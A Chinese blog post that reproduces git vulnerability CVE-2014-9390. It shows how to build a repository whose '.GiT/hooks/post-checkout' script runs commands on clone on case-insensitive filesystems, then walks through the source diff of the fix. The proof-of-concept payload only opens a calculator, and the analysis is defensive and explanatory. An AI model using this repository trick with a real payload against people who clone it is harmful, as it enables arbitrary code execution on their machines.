zoukankan      html  css  js  c++  java
  • git CVE-2014-9390 验证以及源码对比

    一 验证部分

     首先在ubuntu下面建立如下工程

    mkdir repo
    cd repo
    git init
    mkdir -p .GiT/hooks
    cp post-checkout .GiT/hooks
    cat post-checkout
    内容如下
    #!/bin/sh
    calc.exe
    calc
    open /Applications/Calculator.app/
    gnome-calculator
    

      然后将工程提交到git服务器,由于github已经不能提交.Git这种目录,我就自己搭建了一个服务器.

     git remote add origin git@10.10.10.133:/home/git/project.git

     git push origin master 

    然后在windows下验证,由于此bug只能在大小写不敏感的文件系统上才能重现,所以客户端只能是windows或者mac.

    $ git --version
    git version 1.9.2.msysgit.0

    $ git clone git@10.10.10.133:/home/git/project.git
    Cloning into 'project'...
    git@10.10.10.133's password:
    remote: Counting objects: 12, done.
    remote: Compressing objects: 100% (6/6), done.
    remote: Total 12 (delta 0), reused 0 (delta 0)
    Receiving objects: 100% (12/12), done.
    Checking connectivity... done.
    .git/hooks/post-checkout: line 4: open: command not found
    .git/hooks/post-checkout: line 5: gnome-calculator: command not found

     

    结果打开两次计算器.

    如果使用升级以后的git呢,我们来看看git 1.9.5

    $ git clone git@10.10.10.133:/home/git/project.git
    Cloning into 'project'...
    git@10.10.10.133's password:
    remote: Counting objects: 12, done.
    remote: Compressing objects: 100% (6/6), done.
    remote: Total 12 (delta 0), reused 0 (delta 0)
    Receiving objects: 100% (12/12), done.
    Checking connectivity... done.
    error: Invalid path '.GiT/hooks/post-checkout'
    
    Administrator@MICRO-6A55C209C /c/repo
    $ git --version
    git version 1.9.5.msysgit.0

    这里报错,说.GiT是一个无效的路径,被过滤掉了.

    这个错误从本质上来说就是因为在linux系统下面,.Git/hooks/post-checkout只是一个普通文件.但是对于大小写不敏感的系统,这个文件会覆盖git系统的.git/hooks/post-checkout这个配置文件,导致的结果是任意命令的执行.

    这个本来是git的一个功能,来提高git对于项目管理的灵活性,并且一般clone的时候是不会clone .git/下面的配置文件的.

     二 源码对比

    接下来我们来看看git最新版本做了哪些改动呢?

    我将最新的git-2.2.1和git-2.2.0(这个是官方版本,windows下用的是msysgit,所以版本号不一致)

    diff -r git-2.2.0 git-2.2.1

    输出结果如下:

    Only in git-2.2.1/Documentation/RelNotes: 1.8.5.6.txt
    Only in git-2.2.1/Documentation/RelNotes: 1.9.5.txt
    Only in git-2.2.1/Documentation/RelNotes: 2.0.5.txt
    Only in git-2.2.1/Documentation/RelNotes: 2.1.4.txt
    Only in git-2.2.1/Documentation/RelNotes: 2.2.1.txt
    diff -r git-2.2.0/Documentation/config.txt git-2.2.1/Documentation/config.txt
    248a249,259
    > core.protectHFS::
    > If set to true, do not allow checkout of paths that would
    > be considered equivalent to `.git` on an HFS+ filesystem.
    > Defaults to `true` on Mac OS, and `false` elsewhere.
    > 
    > core.protectNTFS::
    > If set to true, do not allow checkout of paths that would
    > cause problems with the NTFS filesystem, e.g. conflict with
    > 8.3 "short" names.
    > Defaults to `true` on Windows, and `false` elsewhere.
    > 
    diff -r git-2.2.0/Documentation/git.txt git-2.2.1/Documentation/git.txt
    46c46
    < * link:v2.2.0/git.html[documentation for release 2.2]
    ---
    > * link:v2.2.1/git.html[documentation for release 2.2.1]
    48a49
    > link:RelNotes/2.2.1.txt[2.2.1],
    51c52
    < * link:v2.1.3/git.html[documentation for release 2.1.3]
    ---
    > * link:v2.1.4/git.html[documentation for release 2.1.4]
    53a55
    > link:RelNotes/2.1.4.txt[2.1.4],
    59c61
    < * link:v2.0.4/git.html[documentation for release 2.0.4]
    ---
    > * link:v2.0.5/git.html[documentation for release 2.0.5]
    61a64
    > link:RelNotes/2.0.5.txt[2.0.5],
    68c71
    < * link:v1.9.4/git.html[documentation for release 1.9.4]
    ---
    > * link:v1.9.5/git.html[documentation for release 1.9.5]
    70a74
    > link:RelNotes/1.9.5.txt[1.9.5],
    77c81
    < * link:v1.8.5.5/git.html[documentation for release 1.8.5.5]
    ---
    > * link:v1.8.5.6/git.html[documentation for release 1.8.5.6]
    79a84
    > link:RelNotes/1.8.5.6.txt[1.8.5.6],
    diff -r git-2.2.0/GIT-VERSION-GEN git-2.2.1/GIT-VERSION-GEN
    4c4
    < DEF_VER=v2.2.0
    ---
    > DEF_VER=v2.2.1
    diff -r git-2.2.0/RelNotes git-2.2.1/RelNotes
    1c1
    < Documentation/RelNotes/2.2.0.txt
     No newline at end of file
    ---
    > Documentation/RelNotes/2.2.1.txt
     No newline at end of file
    diff -r git-2.2.0/cache.h git-2.2.1/cache.h
    619a620,621
    > extern int protect_hfs;
    > extern int protect_ntfs;
    833a836
    > extern int is_ntfs_dotgit(const char *name);
    diff -r git-2.2.0/config.c git-2.2.1/config.c
    898a899,908
    > if (!strcmp(var, "core.protecthfs")) {
    > protect_hfs = git_config_bool(var, value);
    > return 0;
    > }
    > 
    > if (!strcmp(var, "core.protectntfs")) {
    > protect_ntfs = git_config_bool(var, value);
    > return 0;
    > }
    > 
    diff -r git-2.2.0/config.mak.uname git-2.2.1/config.mak.uname
    107a108
    > BASIC_CFLAGS += -DPROTECT_HFS_DEFAULT=1
    375a377
    > BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1
    516a519
    > BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1
    diff -r git-2.2.0/configure git-2.2.1/configure
    3c3
    < # Generated by GNU Autoconf 2.69 for git 2.2.0.
    ---
    > # Generated by GNU Autoconf 2.69 for git 2.2.1.
    583,584c583,584
    < PACKAGE_VERSION='2.2.0'
    < PACKAGE_STRING='git 2.2.0'
    ---
    > PACKAGE_VERSION='2.2.1'
    > PACKAGE_STRING='git 2.2.1'
    1254c1254
    < \`configure' configures git 2.2.0 to adapt to many kinds of systems.
    ---
    > \`configure' configures git 2.2.1 to adapt to many kinds of systems.
    1315c1315
    < short | recursive ) echo "Configuration of git 2.2.0:";;
    ---
    > short | recursive ) echo "Configuration of git 2.2.1:";;
    1454c1454
    < git configure 2.2.0
    ---
    > git configure 2.2.1
    1934c1934
    < It was created by git $as_me 2.2.0, which was
    ---
    > It was created by git $as_me 2.2.1, which was
    7825c7825
    < This file was extended by git $as_me 2.2.0, which was
    ---
    > This file was extended by git $as_me 2.2.1, which was
    7882c7882
    < git config.status 2.2.0
    ---
    > git config.status 2.2.1
    diff -r git-2.2.0/environment.c git-2.2.1/environment.c
    66a67,76
    > #ifndef PROTECT_HFS_DEFAULT
    > #define PROTECT_HFS_DEFAULT 0
    > #endif
    > int protect_hfs = PROTECT_HFS_DEFAULT;
    > 
    > #ifndef PROTECT_NTFS_DEFAULT
    > #define PROTECT_NTFS_DEFAULT 0
    > #endif
    > int protect_ntfs = PROTECT_NTFS_DEFAULT;
    > 
    diff -r git-2.2.0/fsck.c git-2.2.1/fsck.c
    9a10
    > #include "utf8.h"
    174c175,177
    < has_dotgit |= !strcmp(name, ".git");
    ---
    > has_dotgit |= (!strcmp(name, ".git") ||
    > is_hfs_dotgit(name) ||
    > is_ntfs_dotgit(name));
    diff -r git-2.2.0/git.spec git-2.2.1/git.spec
    4c4
    < Version: 2.2.0
    ---
    > Version: 2.2.1
    diff -r git-2.2.0/path.c git-2.2.1/path.c
    825a826,858
    > 
    > static int only_spaces_and_periods(const char *path, size_t len, size_t skip)
    > {
    > if (len < skip)
    > return 0;
    > len -= skip;
    > path += skip;
    > while (len-- > 0) {
    > char c = *(path++);
    > if (c != ' ' && c != '.')
    > return 0;
    > }
    > return 1;
    > }
    > 
    > int is_ntfs_dotgit(const char *name)
    > {
    > int len;
    > 
    > for (len = 0; ; len++)
    > if (!name[len] || name[len] == '\' || is_dir_sep(name[len])) {
    > if (only_spaces_and_periods(name, len, 4) &&
    > !strncasecmp(name, ".git", 4))
    > return 1;
    > if (only_spaces_and_periods(name, len, 5) &&
    > !strncasecmp(name, "git~1", 5))
    > return 1;
    > if (name[len] != '\')
    > return 0;
    > name += len + 1;
    > len = -1;
    > }
    > }
    diff -r git-2.2.0/po/de.po git-2.2.1/po/de.po
    647c647
    < msgstr "FEHLER: Wiederer枚ffnen einer bereits ge枚ffneten Lock-Datei"
    ---
    > msgstr "FEHLER: Wieder枚ffnen einer bereits ge枚ffneten Lock-Datei"
    651c651
    < msgstr "FEHLER: Wiederer枚ffnen einer bereits committeten Lock-Datei"
    ---
    > msgstr "FEHLER: Wieder枚ffnen einer bereits committeten Lock-Datei"
    1959c1959
    < msgstr " (benutzen Sie die Option -u, um unbeobachteten Dateien anzuzeigen)"
    ---
    > msgstr " (benutzen Sie die Option -u, um unbeobachtete Dateien anzuzeigen)"
    2813c2813
    < msgstr "Inhalte der <Datei>en als entg眉ltiges Abbild benutzen"
    ---
    > msgstr "Inhalte der <Datei>en als endg眉ltiges Abbild benutzen"
    3081c3081
    < msgstr "farbliche Ausgaben verwenden"
    ---
    > msgstr "farbige Ausgaben verwenden"
    5588c5588
    < msgstr "Platzhalter als TCL-String formatieren"
    ---
    > msgstr "Platzhalter als Tcl-String formatieren"
    6895c6895
    < msgstr "zwischengespeicherten Dateien in der Ausgabe anzeigen (Standard)"
    ---
    > msgstr "zwischengespeicherte Dateien in der Ausgabe anzeigen (Standard)"
    8122c8122
    < msgstr "keine k眉nstlichen Vorg盲nger-Commit ("grafts") verbergen"
    ---
    > msgstr "keine k眉nstlichen Vorg盲nger-Commits ("grafts") verbergen"
    9698c9698
    < msgstr "'*!+-' entsprechend des Branches einf盲rgen"
    ---
    > msgstr "'*!+-' entsprechend des Branches einf盲rben"
    diff -r git-2.2.0/read-cache.c git-2.2.1/read-cache.c
    19a20
    > #include "utf8.h"
    779c780,781
    < if (rest[1] != 'i')
    ---
    > case 'G':
    > if (rest[1] != 'i' && rest[1] != 'I')
    781c783
    < if (rest[2] != 't')
    ---
    > if (rest[2] != 't' && rest[2] != 'T')
    804a807,810
    > if (protect_hfs && is_hfs_dotgit(path))
    > return 0;
    > if (protect_ntfs && is_ntfs_dotgit(path))
    > return 0;
    Only in git-2.2.1/t: t1014-read-tree-confusing.sh
    diff -r git-2.2.0/t/t1450-fsck.sh git-2.2.1/t/t1450-fsck.sh
    312,341c312,346
    < test_expect_success 'fsck notices "." and ".." in trees' '
    < (
    < git init dots &&
    < cd dots &&
    < blob=$(echo foo | git hash-object -w --stdin) &&
    < tab=$(printf "\t") &&
    < git mktree <<-EOF &&
    < 100644 blob $blob$tab.
    < 100644 blob $blob$tab..
    < EOF
    < git fsck 2>out &&
    < cat out &&
    < grep "warning.*\." out
    < )
    < '
    < 
    < test_expect_success 'fsck notices ".git" in trees' '
    < (
    < git init dotgit &&
    < cd dotgit &&
    < blob=$(echo foo | git hash-object -w --stdin) &&
    < tab=$(printf "\t") &&
    < git mktree <<-EOF &&
    < 100644 blob $blob$tab.git
    < EOF
    < git fsck 2>out &&
    < cat out &&
    < grep "warning.*\.git" out
    < )
    < '
    ---
    > while read name path pretty; do
    > while read mode type; do
    > : ${pretty:=$path}
    > test_expect_success "fsck notices $pretty as $type" '
    > (
    > git init $name-$type &&
    > cd $name-$type &&
    > echo content >file &&
    > git add file &&
    > git commit -m base &&
    > blob=$(git rev-parse :file) &&
    > tree=$(git rev-parse HEAD^{tree}) &&
    > value=$(eval "echo $$type") &&
    > printf "$mode $type %s	%s" "$value" "$path" >bad &&
    > bad_tree=$(git mktree <bad) &&
    > git fsck 2>out &&
    > cat out &&
    > grep "warning.*tree $bad_tree" out
    > )'
    > done <<-EOF
    > 100644 blob
    > 040000 tree
    > EOF
    > done <<-EOF
    > dot .
    > dotdot ..
    > dotgit .git
    > dotgit-case .GIT
    > dotgit-unicode .gI${u200c}T .gI{u200c}T
    > dotgit-case2 .Git
    > git-tilde1 git~1
    > dotgitdot .git.
    > dot-backslash-case .\\.GIT\\foobar
    > dotgit-case-backslash .git\\foobar
    > EOF
    diff -r git-2.2.0/t/test-lib.sh git-2.2.1/t/test-lib.sh
    172c172,176
    < export _x05 _x40 _z40 LF
    ---
    > # UTF-8 ZERO WIDTH NON-JOINER, which HFS+ ignores
    > # when case-folding filenames
    > u200c=$(printf '342200214')
    > 
    > export _x05 _x40 _z40 LF u200c
    diff -r git-2.2.0/unpack-trees.c git-2.2.1/unpack-trees.c
    101c101
    < static void do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,
    ---
    > static int do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,
    110,111c110,111
    < add_index_entry(&o->result, ce,
    < ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);
    ---
    > return add_index_entry(&o->result, ce,
    > ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);
    612c612,614
    < do_add_entry(o, src[i], 0, 0);
    ---
    > if (do_add_entry(o, src[i], 0, 0))
    > return -1;
    > 
    diff -r git-2.2.0/utf8.c git-2.2.1/utf8.c
    563a564,627
    > 
    > /*
    > * Pick the next char from the stream, folding as an HFS+ filename comparison
    > * would. Note that this is _not_ complete by any means. It's just enough
    > * to make is_hfs_dotgit() work, and should not be used otherwise.
    > */
    > static ucs_char_t next_hfs_char(const char **in)
    > {
    > while (1) {
    > ucs_char_t out = pick_one_utf8_char(in, NULL);
    > /*
    > * check for malformed utf8. Technically this
    > * gets converted to a percent-sequence, but
    > * returning 0 is good enough for is_hfs_dotgit
    > * to realize it cannot be .git
    > */
    > if (!*in)
    > return 0;
    > 
    > /* these code points are ignored completely */
    > switch (out) {
    > case 0x200c: /* ZERO WIDTH NON-JOINER */
    > case 0x200d: /* ZERO WIDTH JOINER */
    > case 0x200e: /* LEFT-TO-RIGHT MARK */
    > case 0x200f: /* RIGHT-TO-LEFT MARK */
    > case 0x202a: /* LEFT-TO-RIGHT EMBEDDING */
    > case 0x202b: /* RIGHT-TO-LEFT EMBEDDING */
    > case 0x202c: /* POP DIRECTIONAL FORMATTING */
    > case 0x202d: /* LEFT-TO-RIGHT OVERRIDE */
    > case 0x202e: /* RIGHT-TO-LEFT OVERRIDE */
    > case 0x206a: /* INHIBIT SYMMETRIC SWAPPING */
    > case 0x206b: /* ACTIVATE SYMMETRIC SWAPPING */
    > case 0x206c: /* INHIBIT ARABIC FORM SHAPING */
    > case 0x206d: /* ACTIVATE ARABIC FORM SHAPING */
    > case 0x206e: /* NATIONAL DIGIT SHAPES */
    > case 0x206f: /* NOMINAL DIGIT SHAPES */
    > case 0xfeff: /* ZERO WIDTH NO-BREAK SPACE */
    > continue;
    > }
    > 
    > /*
    > * there's a great deal of other case-folding that occurs,
    > * but this is enough to catch anything that will convert
    > * to ".git"
    > */
    > return tolower(out);
    > }
    > }
    > 
    > int is_hfs_dotgit(const char *path)
    > {
    > ucs_char_t c;
    > 
    > if (next_hfs_char(&path) != '.' ||
    > next_hfs_char(&path) != 'g' ||
    > next_hfs_char(&path) != 'i' ||
    > next_hfs_char(&path) != 't')
    > return 0;
    > c = next_hfs_char(&path);
    > if (c && !is_dir_sep(c))
    > return 0;
    > 
    > return 1;
    > }
    diff -r git-2.2.0/utf8.h git-2.2.1/utf8.h
    44a45,52
    > /*
    > * Returns true if the the path would match ".git" after HFS case-folding.
    > * The path should be NUL-terminated, but we will match variants of both ".git"
    > * and ".git/..." (but _not_ ".../.git"). This makes it suitable for both fsck
    > * and verify_path().
    > */
    > int is_hfs_dotgit(const char *path);
    > 
    diff -r git-2.2.0/version git-2.2.1/version
    1c1
    < 2.2.0
    ---
    > 2.2.1

    可以看出改动很小,主要以下几个方面:

    1. 添加了core.protectHFS 针对苹果系统

     添加了core.protectNTFS 针对windows系统

    2. 在fsck.c中

    原来的has_dotgit |= !strcmp(name, ".git");

    变成了

    has_dotgit |= (!strcmp(name, ".git") ||
    is_hfs_dotgit(name) ||
    is_ntfs_dotgit(name));

    而如果has_gotgit为1,那么在后面将会报错

    if (has_dotgit)
    retval += error_func(&item->object, FSCK_WARN, "contains '.git'");

    fsck是用于git 一致性检查,我们暂时先忽略它.

    3.在path.c中加入了

    static int only_spaces_and_periods(const char *path, size_t len, size_t skip)
    {
        if (len < skip)
            return 0;
        len -= skip;
        path += skip;
        while (len-- > 0) {
            char c = *(path++);
            if (c != ' ' && c != '.')
                return 0;
        }
        return 1;
    }
    
    int is_ntfs_dotgit(const char *name)
    {
        int len;
    
        for (len = 0; ; len++)
            if (!name[len] || name[len] == '\' || is_dir_sep(name[len])) {
                if (only_spaces_and_periods(name, len, 4) &&
                        !strncasecmp(name, ".git", 4))
                    return 1;
                if (only_spaces_and_periods(name, len, 5) &&
                        !strncasecmp(name, "git~1", 5))
                    return 1;
                if (name[len] != '\')
                    return 0;
                name += len + 1;
                len = -1;
            }
    }
    is_ntfs_dotgit主要是用来判断路名是不是以.git开头,这里检查的比较宽泛,诸如..git,..Git,'  .git'都被算做了以git开头,其实后两种情况,我在windows下面验证了,是不会和.git造成混淆的,可能是谨慎起见吧.

    4. 使用
    接下来是这个函数的使用,在read-cache.c中,这个才是我们clone的时候调用的函数.
    一个是在

    static int verify_dotfile(const char *rest)函数中,对于各种情况的大小写.git都认为是非法的.

    还有就是

    int verify_path(const char *path)中,对于路径的验证.

    if (protect_hfs && is_hfs_dotgit(path))
        return 0;
    if (protect_ntfs && is_ntfs_dotgit(path))
     return 0;

    对于ntfs和hfs都进行了验证.

    最后

    由于没有苹果系统,这里就不对hfs进行解析了,其实两者做的工作差不多,只不过hfs又要考虑编码问题,这里就不写明了,感兴趣的读者自己去分析吧.

  • 相关阅读:
    interleaver design
    MKL + VS2019
    【QQ空间转移】该掌握的知识
    【QQ空间转移】原创 通信历史及接收机
    【QQ空间转移】通信小精灵
    【QQ空间转移】雷公如何发信号
    【QQ空间转移】硬币的两面,Nyquist rate 和 Nyquist frequency
    【QQ空间转移】Peano公理
    【QQ空间转移】复变函数导数和微分的深入理解
    【QQ空间转移】 由BPSK想到的。。。
  • 原文地址:https://www.cnblogs.com/baizx/p/4181445.html
Copyright © 2011-2022 走看看